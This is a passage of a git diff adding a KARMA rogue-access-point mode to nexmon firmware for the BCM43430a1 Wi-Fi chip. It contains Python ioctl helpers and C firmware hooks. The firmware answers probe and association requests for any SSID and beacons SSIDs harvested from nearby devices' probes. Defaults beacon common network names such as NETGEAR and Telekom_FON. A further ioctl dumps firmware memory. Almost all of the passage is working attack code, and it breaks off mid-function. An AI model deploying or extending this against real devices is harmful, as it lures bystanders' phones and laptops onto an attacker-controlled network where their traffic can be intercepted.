+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS, 0), True)
+ nexconf.sendNL_IOCTL(ioctl)
+
+ @staticmethod
+ def clear_karma_ssids():
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS, 0), True)
+ nexconf.sendNL_IOCTL(ioctl)
+
+ @staticmethod
+ def set_autoremove_custom_ssids(beacon_count):
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT, 4, beacon_count), True)
+ nexconf.sendNL_IOCTL(ioctl)
+
+ @staticmethod
+ def set_autoremove_karma_ssids(beacon_count):
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT, 4, beacon_count), True)
+ nexconf.sendNL_IOCTL(ioctl)
+
+ @staticmethod
+ def check_for_karma_cap():
+ ioctl = nexconf.create_cmd_ioctl(400, "", False) # there's a length check for the CAPs ioctl, forcing size to 4 (only command, no arg buffer)
+ res = nexconf.sendNL_IOCTL(ioctl)
+ if res == None:
+ return False
+ else:
+ cap = struct.unpack("I", res[:4])[0]
+ # print "Cap: {0}".format(MaMe82_IO.s2hex(res))
+ if (cap & MaMe82_IO.KARMA_CAP == 0):
+ return False
+ return True
+
+ @staticmethod
+ def dump_conf(print_res=True, dump_ssids=True):
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("II40s", MaMe82_IO.MAME82_IOCTL_ARG_TYPE_GET_CONFIG, 4, ""), False)
+ res = nexconf.sendNL_IOCTL(ioctl)
+
+ if res == None:
+ print "Couldn't retrieve config"
+ return None
+
+ mame82_config = struct_mame82_config()
+ memmove(addressof(mame82_config), res, min(len(res), sizeof(struct_mame82_config)))
+
+ if dump_ssids:
+ mame82_config.ssids_karma = MaMe82_IO.dump_ssid_list(cast(mame82_config.ssids_karma, c_void_p).value)
+ mame82_config.ssids_custom = MaMe82_IO.dump_ssid_list(cast(mame82_config.ssids_custom, c_void_p).value)
+ else:
+ mame82_config.ssids_karma = None
+ mame82_config.ssids_custom = None
+
+
+ if print_res:
+ print "KARMA PROBES - Answer probe requests for foreign SSIDs [{0}]".format("On" if mame82_config.karma_probes else "Off")
+ print "KARMA ASSOCS - Answer association requests for foreign SSIDs [{0}]".format("On" if mame82_config.karma_assocs else "Off")
+ print "KARMA SSIDs - Broadcast beacons for foreigin SSIDs after probe request [{0}]".format("On" if mame82_config.karma_beacons else "Off")
+ print "CUSTOM SSIDs - Broadcast beacons for custom SSIDs (added by user) [{0}]".format("On" if mame82_config.custom_beacons else "Off")
+ print "(unused for now) Print debug messages to BCM43430a1 internal console [{0}]".format("On" if mame82_config.debug_out else "Off")
+
+ print "\nStop sending more beacons for KARMA SSIDs if no association request is received\nafter [{0}] beacons (0 send forever)".format(mame82_config.karma_beacon_autoremove)
+ print "\nStop sending more beacons for CUSTOM SSIDs if no association request is received\nafter [{0}] beacons (0 send forever)".format(mame82_config.custom_beacon_autoremove)
+
+ print "\nMaximum allowed KARMA SSIDs for beaconing (no influence on assocs / probes): [{0}]".format(mame82_config.max_karma_beacon_ssids)
+ print "Maximum allowed CUSTOM SSIDs: [{0}]".format(mame82_config.max_custom_beacon_ssids)
+
+ print ""
+
+ if cast(mame82_config.ssids_karma, c_void_p).value != None:
+ print "Beaconed SSIDs from probes (KARMA SSIDs), right now:\n{0}".format(MaMe82_IO.ssid_list2str(mame82_config.ssids_karma))
+
+ print ""
+
+ if cast(mame82_config.ssids_karma, c_void_p).value != None:
+ print "Beaconed SSIDs defined by user, right now:\n{0}".format(MaMe82_IO.ssid_list2str(mame82_config.ssids_custom))
+
+ # fetch structs for SSID list
+ return mame82_config
+
+ @staticmethod
+ def ssid_list2str(head):
+ ssids = []
+ cur = head.contents
+ while cast(cur.next, c_void_p).value != None:
+ cur = cur.next.contents
+ str_ssid = "".join(chr(c) for c in cur.ssid[0:cur.len_ssid])
+ ssids.append(str_ssid)
+ return ssids
+
+ @staticmethod
+ def dump_mem(dump_addr, dump_len, print_res=True):
+ # valid 0x80 - 0x07ffff
+ # valid 0x800000 - 0x89ffff
+ if dump_len < 16:
+ printf("Minimum length for dumping is 16 bytes")
+ return ""
+ ioctl = nexconf.create_cmd_ioctl(MaMe82_IO.CMD, struct.pack("III{0}s".format(dump_len - 16), MaMe82_IO.MAME82_IOCTL_ARG_TYPE_GET_MEM, 4, dump_addr, ""), False)
+ res = nexconf.sendNL_IOCTL(ioctl)
+ if print_res:
+ print MaMe82_IO.s2hex(res)
+ return res
+
+ @classmethod
+ def dump_ssid_list_entry(cls, address):
+ headdata = cls.dump_mem(address, sizeof(struct_ssid_list), print_res=False)
+ head = struct_ssid_list()
+ memmove(addressof(head), headdata, len(headdata))
+ return head
+
+ @classmethod
+ def dump_ssid_list(cls, address):
+ cur = cls.dump_ssid_list_entry(address)
+ head = cur
+ p_next = cast(cur.next, c_void_p)
+ while p_next.value != None:
+ #print "p_next {0}".format(hex(p_next.value))
+ next_entry = cls.dump_ssid_list_entry(p_next.value)
+ cur.next = pointer(next_entry) # replace pointer to next element with a one valid in py
+ cur = cur.next.contents # advance cur to next element (dreferenced)
+ p_next = cast(cur.next, c_void_p) # update pointer to next and cast to void*
+
+ # return pointer to head element
+ return pointer(head)
+
+ @classmethod
+ def set_defaults(cls):
+ cls.add_custom_ssid("linksys")
+ cls.add_custom_ssid("NETGEAR")
+ cls.add_custom_ssid("dlink")
+ cls.add_custom_ssid("AndroidAP")
+ cls.add_custom_ssid("default")
+ cls.add_custom_ssid("cablewifi")
+ cls.add_custom_ssid("asus")
+ cls.add_custom_ssid("Guest")
+ cls.add_custom_ssid("Telekom")
+ cls.add_custom_ssid("xerox")
+ cls.add_custom_ssid("tmobile")
+ cls.add_custom_ssid("Telekom_FON")
+ cls.add_custom_ssid("freifunk")
+
+ cls.set_enable_karma(True) # send probe responses and association responses for foreign SSIDs
+
+ cls.set_enable_karma_beaconing(False) # send beacons for SSIDs seen in probe requests (we better don't enable this by default)
+ cls.set_autoremove_karma_ssids(600) # remove SSIDs from karma beaconing, which didn't received an assoc request after 600 beacons (1 minute)
+
+ cls.set_enable_custom_beaconing(True) # send beacons for the custom SSIDs set with 'add_custom_ssid'
+ cls.set_autoremove_custom_ssids(0) # never remove custom SSIDs from beaconing list, if they didn't receive an assoc request
+
+ #cls.dump_conf(print_res=True)
+
+
+def ioctl_get_test():
+ ### Send ioctl comand via netlink: test of GET (cmd 262, value 'bsscfg:ssid' in a buffer large enough to receive the response) ######
+
+ # test to read a IO var for bsscfg:ssid (resp buffer: 4 bytes for uint32 ssid_len, 32 bytes for max len SSID)
+ # Note:
+ # The payload buffer size for send and recv are te same (36 in this test case), although the payload sent
+ # has only 11 bytes ("bsscfg:ssid") which are used. This has no impact for parsing the request for SSID on
+ # driver/firmware end. This means: We are free to choose the response buffer size, by adjusting the request buffer size.
+ # In case of the SSID request, the buffer is only partially overwritten with the response (for SSID 'test' only the first 8 bytes).
+ # The rest of the buffer isn't cleared to 0x00, but the response is prepended with an uint32 length field, which could be used
+ # to scrape out the relevant part of the response string.
+ # As I haven't dived into the inner workings of NETLINK, I haven't tested for responses which don't fit in a single message,
+ # but it is likely that those responses are fragmented over multiple NL messages and the nlmsg_seq header field is used to
+ # distinguish them. Anyway, this code DOESN'T ACCOUNT FOR THIS AND DOESN'T RECEIVE FRAGMENTED RESPONSES. NOR DOES THIS CODE ACCOUNT
+ # FOR MAXIMUM MESSAGE SIZE WHEN IT COMES TO SENDING (USING BUFFER WHICH ARE TOO LARGE).
+ # So this is considered experimental, the correct tool to use is nexutil written by the creators of nexmon ;-)
+
+ ioctl_readvar_ssid = nexconf.create_cmd_ioctl(262, struct.pack("36s", "bsscfg:ssid"), False)
+ res = nexconf.sendNL_IOCTL(ioctl_readvar_ssid)
+
+ # clamp result string
+ res_len = struct.unpack("I", res[:4])[0]
+ res_str = res[4:4+res_len]
+ print res_str
+
+
+
+# As soon as an AP is running with hostapd (and backed by the customized nexmon firmware)
+# the IOCTL to set up karma could be received.
+#
+# The hardcoded example commands below bring up a KARMA hotspot (responds to every probe/association
+# request which the STA wants to see), with 13 additional SSIDs and BEACONING enabled for probed SSIDs
+# Additionally the autoremove feature is enabled, for SSIDs not receiving an assoc request in timely
+# manner.
+#
+# Each of this commands could be use to interactively manipulate the firmware from a python console.
+#
+# Example to disable KARMA:
+# --------------------------------
+# >>> from mame82_util import *
+# >>> MaMe82_IO.set_enable_karma(False)
+# Sending NL IOCTL
+# cmd: 666
+# set_enabled: True
+# payload: '\x03\x00\x00\x00\x01\x00\x00\x00\x00'
+#
+#
+# Example to enable KARMA + Beaconing for SSIDs from probe requests:
+# ------------------------------------------------------------------
+# >>> from mame82_util import *
+# >>> MaMe82_IO.set_enable_karma(True)
+# Sending NL IOCTL
+# cmd: 666
+# set_enabled: True
+# payload: '\x03\x00\x00\x00\x01\x00\x00\x00\x01'
+# >>> MaMe82_IO.set_enable_karma_beaconing(True)
+# Sending NL IOCTL
+# cmd: 666
+# set_enabled: True
+# payload: '\x04\x00\x00\x00\x01\x00\x00\x00\x01'
+#
+#
+
+
+### Example configuration for MaMe82 KARMA nexmon firmware mod ###
+#MaMe82_IO.set_defaults()
diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/src/autostart.c b/patches/bcm43430a1/7_45_41_46/nexmon/src/autostart.c
index 384341885..9b5869709 100644
--- a/patches/bcm43430a1/7_45_41_46/nexmon/src/autostart.c
+++ b/patches/bcm43430a1/7_45_41_46/nexmon/src/autostart.c
@@ -39,11 +39,70 @@
#include // structures that are used by the code in the firmware
#include // useful helper functions
#include // macros used to craete patches such as BLPatch, BPatch, ...
+#include "karma.h"
+
+
+mame82_config_t *g_mame82_conf = NULL;
void
autostart(void)
{
printf("autostart\n");
+
+
+ g_mame82_conf = (mame82_config_t *) malloc(sizeof(mame82_config_t), 4);
+ memset(g_mame82_conf, 0, sizeof(mame82_config_t));
+ g_mame82_conf->ssids_custom = (ssid_list_t*) malloc(sizeof(ssid_list_t), 4);
+ g_mame82_conf->ssids_karma = (ssid_list_t*) malloc(sizeof(ssid_list_t), 4);
+
+ /* Disable all KARMA related stuff by default, to avoid changing legacy nexmon default behavior */
+
+ //startup (default) config
+ g_mame82_conf->karma_probes = 0;
+ g_mame82_conf->karma_assocs = 0;
+ g_mame82_conf->debug_out = 0;
+ g_mame82_conf->karma_beacons = 0;
+ g_mame82_conf->custom_beacons = 0;
+ g_mame82_conf->custom_beacon_autoremove = 0; //never remove custom SSIDs after if they don't receive an assoc req
+ g_mame82_conf->karma_beacon_autoremove = 600; //remove SSIDs extracted from received probe requests after sending 600 beacons (1 minute) without receiving an assoc req
+
+ /*
+ * There're two lists of SSIDs for which beacons are sent:
+ * 1) The one for spotted SSIDs from probe requests, for which in addition to the according probe responses (karma_probes = 1)
+ * beacons could be send (karma_beacons = 1). This would allow to spawn potetial known APs to stations, which have been probed
+ * for by other stations, which are more chatty. This list could be fast growing, depending on the probing devices around
+ * 2) The list for custom SSIDs which have been added manually by the user (they are send if custom_beacons = 1 is set).
+ *
+ * The current implementations is able to send one beacon on every 2s, which makes a rough maximum of 50 per beacon interval
+ * (which is about 100ms per default). The more traffic is on the channel, the more retransmissions are needed for management frames
+ * (including probe responses and beacons), which puts another limit on the maximum SSIDs which could be beaconed.
+ * For this reasons, the overall count of the SSIDs has been limited to 40, which splits into 20 for custom_beacon_ssids and
+ * 20 for karma_beacon_ssids. So it is not adviced to change these limits.
+ *
+ * When the limits are reached, it isn't possible to add more SSID. The SSID lists could be cleared manually (via ioctl from
+ * the additional python utility) or auto-removeed. Auto-remove deletes SSIDs for which no association has taken place in a
+ * predefined period. This period is measured in beacons which have been sent, without an association. With the beacon interval
+ * of 100ms, about 10 beacons are sent per second.
+ * If for example 'karma_beacon_autoremove' is set to 600, every SSID which hasn't seen an association after 60 seconds is removed -
+ * where SSIDs are added to this list in case a probe request was spotted (at least, if karma_beacons = 1).
+ * custom_beacon_autoremove has the same meaning, but targets SSIDs which have been added manually by the user.
+ * If custom_beacon_autoremove or karma_beacon_autoremove are set to 0, the beacons are never removed from the list.
+ *
+ */
+ g_mame82_conf->max_custom_beacon_ssids = 20;
+ g_mame82_conf->max_karma_beacon_ssids = 20;
+
+/*
+ cur_ssid_ptr = custom_ssids;
+ while (*cur_ssid_ptr)
+ {
+ append_ssid(g_mame82_conf->ssids_custom, *cur_ssid_ptr, strlen(*cur_ssid_ptr));
+ cur_ssid_ptr++;
+ }
+
+ access_test = get_ssid_entry(g_mame82_conf->ssids_custom, "tmobile", 7);
+ if (access_test) printf("SSID found '%s'\n", access_test->ssid);
+*/
}
__attribute__((at(0x2a94, "", CHIP_VER_BCM43430a1, FW_VER_7_45_41_46)))
diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/src/ioctl.c b/patches/bcm43430a1/7_45_41_46/nexmon/src/ioctl.c
index 8fdc8d273..b79968333 100644
--- a/patches/bcm43430a1/7_45_41_46/nexmon/src/ioctl.c
+++ b/patches/bcm43430a1/7_45_41_46/nexmon/src/ioctl.c
@@ -45,15 +45,27 @@
#include // capabilities included in a nexmon patch
#include // sendframe functionality
#include
+#include "karma.h"
+
+uint32 mame82_opts = 0;
+
+extern mame82_config_t *g_mame82_conf;
+
int
wlc_ioctl_hook(struct wlc_info *wlc, int cmd, char *arg, int len, void *wlc_if)
{
+ mame82_ioctl_arg_t *mame82_arg = NULL;
+ void *dump_addr = NULL;
+
argprintf_init(arg, len);
int ret = IOCTL_ERROR;
- switch (cmd) {
- case NEX_GET_CAPABILITIES:
+ //printf("received ioctl cmd %d with arg %s\n", cmd, arg);
+
+ switch (cmd)
+ {
+ case NEX_GET_CAPABILITIES: //400
if (len == 4) {
memcpy(arg, &capabilities, 4);
ret = IOCTL_SUCCESS;
@@ -72,18 +84,119 @@ wlc_ioctl_hook(struct wlc_info *wlc, int cmd, char *arg, int len, void *wlc_if)
{
struct wlc_if *wlcif = wlc->wlcif_list;
- for (wlcif = wlc->wlcif_list; wlcif != 0; wlcif = wlcif->next) {
+ for (wlcif = wlc->wlcif_list; wlcif != 0; wlcif = wlcif->next)
+ {
char ifname[32];
strncpy(ifname, wlcif->wlif == 0 ? wlc->wl->dev->name : wlcif->wlif->dev->name, sizeof(ifname));
ifname[sizeof(ifname) - 1] = '\0';
argprintf(" \"%s\" 0x%p type=%02x index=%02x flags=%02x\n", ifname, wlcif, wlcif->type, wlcif->index, wlcif->flags);
- }
+ }
ret = IOCTL_SUCCESS;
}
break;
+ case 666:
+ printf("666 (MaMe82) called, arg %x\n", *arg);
+
+ mame82_arg = (mame82_ioctl_arg_t *) arg;
+ uint32 tmp = 0;
+
+ switch(mame82_arg->type)
+ {
+ case MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_PROBE:
+ printf("Enable KARMA probe: %d\n", *mame82_arg->val);
+ g_mame82_conf->karma_probes = *mame82_arg->val;
+ break;
+ case MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_ASSOC:
+ printf("Enable KARMA assoc: %d\n", *mame82_arg->val);
+ g_mame82_conf->karma_assocs = *mame82_arg->val;
+ break;
+ case MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA_BEACON:
+ printf("Enable KARMA beaconing: %d\n", *mame82_arg->val);
+ g_mame82_conf->karma_beacons = *mame82_arg->val;
+
+ //clear SSID list (filled from probes) in case KARMA beaconing gets disabled
+ if (!(*mame82_arg->val)) clear_ssids(g_mame82_conf->ssids_karma);
+ break;
+ case MAME82_IOCTL_ARG_TYPE_SET_ENABLE_CUSTOM_BEACONS:
+ printf("Enable custom beaconing: %d\n", *mame82_arg->val);
+ g_mame82_conf->custom_beacons = *mame82_arg->val;
+ break;
+ case MAME82_IOCTL_ARG_TYPE_SET_ENABLE_KARMA:
+ printf("Enable KARMA (probe and assoc responses): %d\n", *mame82_arg->val);
+ g_mame82_conf->karma_probes = *mame82_arg->val;
+ g_mame82_conf->karma_assocs = *mame82_arg->val;
+
+ //If Karma gets disabled, we clear the list of SSIDs which have been spotted from "old" probe requests
+ if (!(*mame82_arg->val)) clear_ssids(g_mame82_conf->ssids_karma);
+ break;
+ case MAME82_IOCTL_ARG_TYPE_ADD_CUSTOM_SSID:
+ printf("Add custom SSID len %d: %s\n", mame82_arg->len, mame82_arg->val);
+ append_ssid(g_mame82_conf->ssids_custom, (char*) mame82_arg->val, MIN(mame82_arg->len, 32), g_mame82_conf->max_custom_beacon_ssids);
+ break;
+ case MAME82_IOCTL_ARG_TYPE_DEL_CUSTOM_SSID:
+ printf("Add custom SSID len %d: %s\n", mame82_arg->len, mame82_arg->val);
+ remove_entries_with_ssid(g_mame82_conf->ssids_custom, (char*) mame82_arg->val, MIN(mame82_arg->len, 32));
+ break;
+ case MAME82_IOCTL_ARG_TYPE_CLEAR_CUSTOM_SSIDS:
+ printf("Clear custom SSIDs\n");
+ clear_ssids(g_mame82_conf->ssids_custom);
+ break;
+ case MAME82_IOCTL_ARG_TYPE_CLEAR_KARMA_SSIDS:
+ printf("Clear karma SSIDs\n");
+ clear_ssids(g_mame82_conf->ssids_karma);
+ break;
+ case MAME82_IOCTL_ARG_TYPE_SET_CUSTOM_BEACON_AUTO_REMOVE_COUNT:
+ memcpy(&tmp, mame82_arg->val, mame82_arg->len);
+ g_mame82_conf->custom_beacon_autoremove = tmp;
+ printf("Send a maximum of %d custom beacons without association request per SSID\n", g_mame82_conf->custom_beacon_autoremove);
+ break;
+ case MAME82_IOCTL_ARG_TYPE_SET_KARMA_BEACON_AUTO_REMOVE_COUNT:
+ memcpy(&tmp, mame82_arg->val, mame82_arg->len);
+ g_mame82_conf->karma_beacon_autoremove = tmp;
+ printf("Send a maximum of %d karma beacons without association request per SSID\n", g_mame82_conf->karma_beacon_autoremove);
+ break;
+ case MAME82_IOCTL_ARG_TYPE_GET_CONFIG:
+ //assure buffer is large enough
+ if (len < sizeof(mame82_config_t))
+ {
+ printf("Tried to read mame82_config in buf of size %d, but %d needed\n", len, sizeof(mame82_config_t));
+ return IOCTL_ERROR;
+ }
+ else printf("Dumping %d bytes of mame82_config to buf of size %d\n", sizeof(mame82_config_t), len);
+ //cp back config struct (leaking list pointers ;-))
+ memcpy(arg, g_mame82_conf, sizeof(mame82_config_t));
+ break;
+ case MAME82_IOCTL_ARG_TYPE_GET_MEM:
+ //dump as many bytes as the buffer can hold of the address given as argument
+ memcpy(&tmp, mame82_arg->val, mame82_arg->len);
+
+
+ dump_addr = (void*) tmp;
+ printf("Dumping %d bytes from %x\n", len, dump_addr);
+ //Assure we're not dumping from regions causing a crash
+ //valid 0x80 - 0x07ffff
+ //valid 0x800000 - 0x89ffff
+ if (!(
+ ((0x80 <= tmp) && (tmp < 0x080000) && (0x80 <= (tmp+len)) && ((tmp+len) < 0x080000)) ||
+ ((0x800000 <= tmp) && (tmp < 0x8A0000) && (0x800000 <= (tmp+len)) && ((tmp+len) < 0x8A0000))
+ ))
+ {
+ printf("Couldn't dump from this region, valid are [0x80 to 0x080000] and [0x800000 to 0x8A0000]\n");
+ return IOCTL_ERROR;
+ }
+
+ memmove(arg, dump_addr, len);
+ break;
+ default:
+ printf("Unknown command type %d, len %d, val %d\n", mame82_arg->type, mame82_arg->len, mame82_arg->val);
+ }
+
+
+ ret = IOCTL_SUCCESS;
+ break;
default:
ret = wlc_ioctl(wlc, cmd, arg, len, wlc_if);
diff --git a/patches/bcm43430a1/7_45_41_46/nexmon/src/karma.c b/patches/bcm43430a1/7_45_41_46/nexmon/src/karma.c
new file mode 100644
index 000000000..a13ca8ad2
--- /dev/null
+++ b/patches/bcm43430a1/7_45_41_46/nexmon/src/karma.c
@@ -0,0 +1,795 @@
+#pragma NEXMON targetregion "patch"
+
+#include
+#include // wrapper definitions for functions that already exist in the firmware
+#include // structures that are used by the code in the firmware
+#include
+#include
+#include "karma.h"
+#include "sendframe.h"
+
+#define print_dbg(...) if(g_mame82_conf->debug_out) printf(__VA_ARGS__)
+#define print_ndbg(...) if(!g_mame82_conf->debug_out) printf(__VA_ARGS__)
+
+
+extern mame82_config_t *g_mame82_conf;
+
+
+wlc_bsscfg_t *g_AP_bsscfg = NULL;
+beacon_fixed_params_t *g_beacon_template_head = NULL;
+uint8 *g_beacon_template_tail = NULL;
+uint g_beacon_template_tail_len = 0;
+
+struct hndrte_timer *g_bcn_tmr = NULL;
+
+void send_beacons(struct wlc_info *wlc, wlc_bsscfg_t *bsscfg, beacon_fixed_params_t *beacon_template_head, uint8 *beacon_template_tail, uint beacon_template_tail_len, ssid_list_t *ssids);
+
+
+/** Timer based beaconing **/
+void bcn_tmr_hndl(struct hndrte_timer *t)
+{
+ if (g_mame82_conf->karma_beacons)
+ send_beacons(t->data, g_AP_bsscfg, g_beacon_template_head, g_beacon_template_tail, g_beacon_template_tail_len, g_mame82_conf->ssids_karma);
+
+ if (g_mame82_conf->custom_beacons)
+ send_beacons(t->data, g_AP_bsscfg, g_beacon_template_head, g_beacon_template_tail, g_beacon_template_tail_len, g_mame82_conf->ssids_custom);
+
+ //Autoremove SSIDs which haven't seen an assoc request after 3000 beacons (roughly 5 minutes)
+ //-------------------------------------------------------------------------------------------
+
+ //custom SSIDs which have been beaconed, because they have been manually added, but didn't receive an assoc request
+ if (g_mame82_conf->custom_beacon_autoremove) //if 0, none gets removed
+ remove_entries_without_assoc_after_beacons(g_mame82_conf->ssids_custom, g_mame82_conf->custom_beacon_autoremove);
+
+ //karma SSIDs which have been beaconed after a spotted probed, but never received an association (f.e. if a WPA2 AP was probed, but an open AP advertised)
+ // Note: if a probed SSID gets deleted, it is added back in as soon as a new probe is spotted
+ if (g_mame82_conf->karma_beacon_autoremove) //if 0, none gets removed (not recommended, list fills too fast)
+ remove_entries_without_assoc_after_beacons(g_mame82_conf->ssids_karma, g_mame82_conf->karma_beacon_autoremove);
+
+}
+
+/** end Timer based beaconing **/
+
+
+//check if an SSID is worth adding to an existing SSID list
+int validate_ssid(ssid_list_t *head, char* ssid, uint8 ssid_len)
+{
+ char *cur_ssid;
+ uint8 cur_ssid_len;
+ int i, j, match;
+
+ if (ssid_len == 0) return 0; // we don't add empty SSIDs to the list
+
+ // Went through list
+ ssid_list_t *current = head;
+ i = -1; //used for loop count and increased at loop entry (to avoid inc in branches), thus -1
+ while (current->next != NULL)
+ {
+ i++;
+ current = current->next;
+ cur_ssid_len = current->len_ssid;
+ cur_ssid = current->ssid;
+
+ //printf("Checking %s against list pos %d (%s)\n", ssid, i, cur_ssid);
+
+ // if length doesn't equal, we check next
+ if (cur_ssid_len != ssid_len) continue;
+
+ //if length equals, we check char by char
+ match = 1;
+ for (j = 0; j < MIN(ssid_len, MIN(cur_ssid_len, 32)); j++)
+ {
+ if (cur_ssid[j] != ssid[j])
+ {
+ match = 0;
+ break; // we don't have to check further
+ }
+ }
+
+ if (match)
+ {
+ //printf("The SSID %s is already in the list at pos %d\n", ssid, i);
+ return 0;
+ }
+ }
+
+ return 1;
+}
+
+//get pointer to the given SSID from given list
+ssid_list_t* get_ssid_entry(ssid_list_t *head, char* ssid, uint8 ssid_len)
+{
+ char *cur_ssid;
+ uint8 cur_ssid_len;
+ int i, j, match;
+
+ if (ssid_len == 0) return NULL; // list shouldn't contain empty SSIDs
+
+ // Went through list
+ ssid_list_t *current = head;
+ i = -1; //used for loop count and increased at loop entry (to avoid inc in branches), thus -1
+ while (current->next != NULL)
+ {
+ i++;
+ current = current->next;
+ cur_ssid_len = current->len_ssid;
+ cur_ssid = current->ssid;
+
+ //printf("Checking %s against list pos %d (%s)\n", ssid, i, cur_ssid);
+
+ // if length doesn't equal, we check next
+ if (cur_ssid_len != ssid_len) continue;
+
+ //if length equals, we check char by char
+ match = 1;
+ for (j = 0; j < MIN(ssid_len, MIN(cur_ssid_len, 32)); j++)
+ {
+ if (cur_ssid[j] != ssid[j])
+ {
+ match = 0;
+ break; // we don't have to check further
+ }
+ }
+
+ if (match)
+ {
+ return current;
+ }
+ }
+
+ return NULL;
+}
+
+//Removes every SSID entry from the list, which hasn't seen an assoc request after beacon_limit beacons have been send already
+void remove_entries_without_assoc_after_beacons(ssid_list_t *head, uint beacon_limit)
+{
+ // Went through list
+ ssid_list_t *current = head;
+ ssid_list_t *remove;
+
+ while (current->next != NULL)
+ {
+ //check if assoc requests for next entry are at 0 and beacon count limit is reached
+ if ((!current->next->assoc_req) & (current->next->bcn_snd >= beacon_limit))
+ {
+ //adjust pointer to next
+ remove = current->next;
+ current->next = remove->next;
+
+ printf("Removed SSID '%s' from beaconing list, because there was no assoc request after %d beacons have been tx\n", remove->ssid, beacon_limit);
+
+ free(remove);
+ }
+
+ current = current->next;
+ if (current == NULL) break;//last element removed, abort loop
+ }
+}
+
+void clear_ssids(ssid_list_t *head)
+{
+ ssid_list_t *cur;
+ ssid_list_t *next;
+
+ cur = head->next;
+ while (cur != NULL)
+ {
+ next = cur->next;
+ free(cur);
+ printf("Removed SSID '%s' from beaconing list\n", cur->ssid);
+ cur = next;
+ }
+ head->next = NULL;
+}
+
+//Removes every SSID entry from the list, which hasn't seen an assoc request after beacon_limit beacons have been send already
+void remove_entries_with_ssid(ssid_list_t *head, char* ssid, uint8 ssid_len)
+{
+ // Went through list
+ ssid_list_t *current = head;
+ ssid_list_t *remove;
+ uint8 match = 0;
+ int j;
+
+ while (current->next != NULL)
+ {
+ //check if ssid is the same
+
+ // if length doesn't equal, we check next
+ if (current->next->len_ssid != ssid_len) continue;
+
+ //if length equals, we check char by char
+ match = 1;
+
+ for (j = 0; j < MIN(ssid_len, MIN(current->next->len_ssid, 32)); j++)
+ {
+ if (current->next->ssid[j] != ssid[j])
+ {
+ match = 0;
+ break; // we don't have to check further
+ }
+ }
+
+ if (match == 1)
+ {
+ //adjust pointer to next
+ remove = current->next;
+ current->next = remove->next;
+
+ printf("Removed SSID '%s' from beaconing list\n", remove->ssid);
+
+ free(remove);
+ }
+
+ current = current->next;
+ if (current == NULL) break;//last element removed, abort loop
+ }
+}
+
+
+ssid_list_t* append_ssid(ssid_list_t *head, char* ssid, uint8 ssid_len, uint8 upper_bound)
+{
+ //This method doesn't account for duplicates
+
+ int i = 0;
+
+ ssid_list_t *current = head;
+ while (current->next != NULL)
+ {
+ current = current->next;
+ i++;
+ }
+
+ if (i >= upper_bound)
+ {
+ printf("Not adding SSID %s because list contains max elements %d\n", ssid, i);
+ return NULL; //abort appending to list
+ }
+
+ current->next = (ssid_list_t*) malloc(sizeof(ssid_list_t), 4);
+
+ if (current->next == NULL)
+ {
+ printf("Malloc error, not able to add SSID %s to list at pos %d\n", ssid, i);
+ return NULL;
+ }
+ else
+ {
+ printf("Added SSID %s at list pos %d\n", ssid, i);
+ }
+ memset(current->next, 0, sizeof(ssid_list_t));
+ current->next->len_ssid = ssid_len;
+ memset(current->next->ssid, 0, 32);
+ memcpy(current->next->ssid, ssid, ssid_len);
+ current->next->next = NULL;
+ return current->next;
+}
+
+
+void print_mac(struct ether_addr addr)
+{
+ printf("%x:%x:%x:%x:%x:%x",
+ addr.octet[0],
+ addr.octet[1],
+ addr.octet[2],
+ addr.octet[3],
+ addr.octet[4],
+ addr.octet[5]
+ );
+}
+
+void print_mem(void* p, uint32 len)
+{
+ uint32 i;
+ printf("HEXDUMP:\n");
+ //for(i = 0; i < len; i++) printf("%d:%02x ", i, ((char*) p)[i]);
+ for(i = 0; i < len; i++) printf("%02x ", ((char*) p)[i]);
+ printf("\n");
+}
+
+void print_bsscfg(wlc_bsscfg_t *bsscfg)
+{
+ printf("BSSCFG addr %x, points to wlc at %x \n", bsscfg, bsscfg->wlc);
+ printf(" up %d, enable %d, _ap %d, _psta %d, associated %d, ssid %s valid AP %d\n", bsscfg->up, bsscfg->enable, bsscfg->_ap, bsscfg->_psta, bsscfg->associated, bsscfg->SSID, BSSCFG_AP_ENABLED(bsscfg));
+}
+
+void sscfg_iter_test(struct wlc_info *wlc)
+{
+ int i;
+ wlc_bsscfg_t *bsscfg;
+
+ FOREACH_BSS(wlc, i, bsscfg)
+ {
+ printf("BSSCFG at index[%d] addr %x, points to wlc at %x (real addr %x)\n", i, bsscfg, bsscfg->wlc, wlc);
+ printf(" up %d, enable %d, _ap %d, _psta %d, associated %d, ssid %s valid AP %d\n", bsscfg->up, bsscfg->enable, bsscfg->_ap, bsscfg->_psta, bsscfg->associated, bsscfg->SSID, BSSCFG_AP_ENABLED(bsscfg));
+ }
+}
+
+
+//Not really a hook, as the legacy method has no implementation (this is why we don't call back to the umodified method)
+void wlc_recv_process_prbreq_hook(struct wlc_info *wlc, void *wrxh, uint8 *plcp, struct dot11_management_header *hdr, uint8 *body, int body_len)
+{
+ /* ToDo:
+ - check if used bsscfg is in AP mode before sending probe responses (struct wlc_bsscfg field _ap has to be validated first)
+ - don't send responses for PROBES to empty SSID (len == 0) Note: According to the hint from @Singe broadcast probes should be answered for iPhones
+ - don't send PROBE RESPONSES for own SSID (this is already done by the PRQ Fifo)
+ - optionally send BEACONS for seen PROBE REQUESTS as broadcast (like KARMA LOUD to open new networks to possible STAs)
+ - handle Association (incoming SSID has to be exchanged or bsscfg altered once more) - NOte AUTH is working as there's no SSID involved
+ */
+
+
+ uint8 *SSID_PRQ[32]; //ssid of received probe request
+ uint8 *SSID_BSS[32]; //ssid of bsscfg used
